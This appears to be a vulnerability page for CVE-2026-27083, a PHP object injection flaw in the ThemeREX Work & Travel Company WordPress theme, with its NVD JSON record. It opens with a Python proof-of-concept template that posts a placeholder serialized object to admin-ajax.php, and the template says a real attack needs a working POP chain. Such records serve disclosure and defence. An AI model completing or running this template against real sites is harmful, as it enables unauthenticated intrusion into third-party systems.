CVE-2026-27083

import requests import urllib.parse # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Generic PHP Object Injection Payload (Placeholder) # In a real scenario, this would be a serialized object utilizing a specific POP chain available in the theme or WP core. # Example: Using a generic gadget chain to demonstrate the structure. # attacker_controlled_data = 'O:8:"stdClass":0:{}' # For demonstration, we assume a parameter 'data' is passed to unserialize() payload = { 'action': 'vulnerable_action', 'data': 'O:8:"stdClass":0:{}' # Malicious serialized object } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:", response.text[:200]) else: print("[-] Failed to send payload.") except Exception as e: print(f"[-] Error: {e}") # Note: This PoC is a template. The actual exploit requires a specific POP chain # compatible with the ThemeREX Work & Travel Company theme environment.

{"cve": {"id": "CVE-2026-27083", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:55.960", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in ThemeREX Work & Travel Company work-travel-company allows Object Injection.This issue affects Work & Travel Company: from n/a through <= 1.2."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en ThemeREX Work &amp; Travel Company work-travel-company permite la inyección de objetos. Este problema afecta a Work &amp; Travel Company: desde n/a hasta &lt;= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/work-travel-company/vulnerability/wordpress-work-travel-company-theme-1-2-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}